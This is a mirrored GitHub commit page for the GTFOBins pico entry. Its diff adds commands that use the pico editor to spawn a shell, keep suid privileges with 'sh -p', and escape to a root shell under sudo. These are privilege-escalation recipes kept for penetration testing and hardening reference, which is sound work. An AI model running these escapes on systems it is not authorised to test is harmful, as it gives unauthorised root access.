mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix pico shell, suid, and sudo
This commit is contained in:
parent
75eff93c50
commit
c20ccf4af2
@ -2,6 +2,11 @@
|
|||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- code: |
|
||||||
|
pico
|
||||||
|
^R^X
|
||||||
|
reset; sh 1>&0 2>&0
|
||||||
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
|
code: |
|
||||||
pico -s /bin/sh
|
pico -s /bin/sh
|
||||||
/bin/sh
|
/bin/sh
|
||||||
^T
|
^T
|
||||||
@ -13,7 +18,8 @@ functions:
|
|||||||
file-read:
|
file-read:
|
||||||
- code: pico file_to_read
|
- code: pico file_to_read
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo '#!/bin/sh -p
|
echo '#!/bin/sh -p
|
||||||
exec sh -p' > $TF
|
exec sh -p' > $TF
|
||||||
@ -22,7 +28,7 @@ functions:
|
|||||||
^T
|
^T
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
pico -s /bin/sh
|
sudo pico
|
||||||
/bin/sh
|
^R^X
|
||||||
^T
|
reset; sh 1>&0 2>&0
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user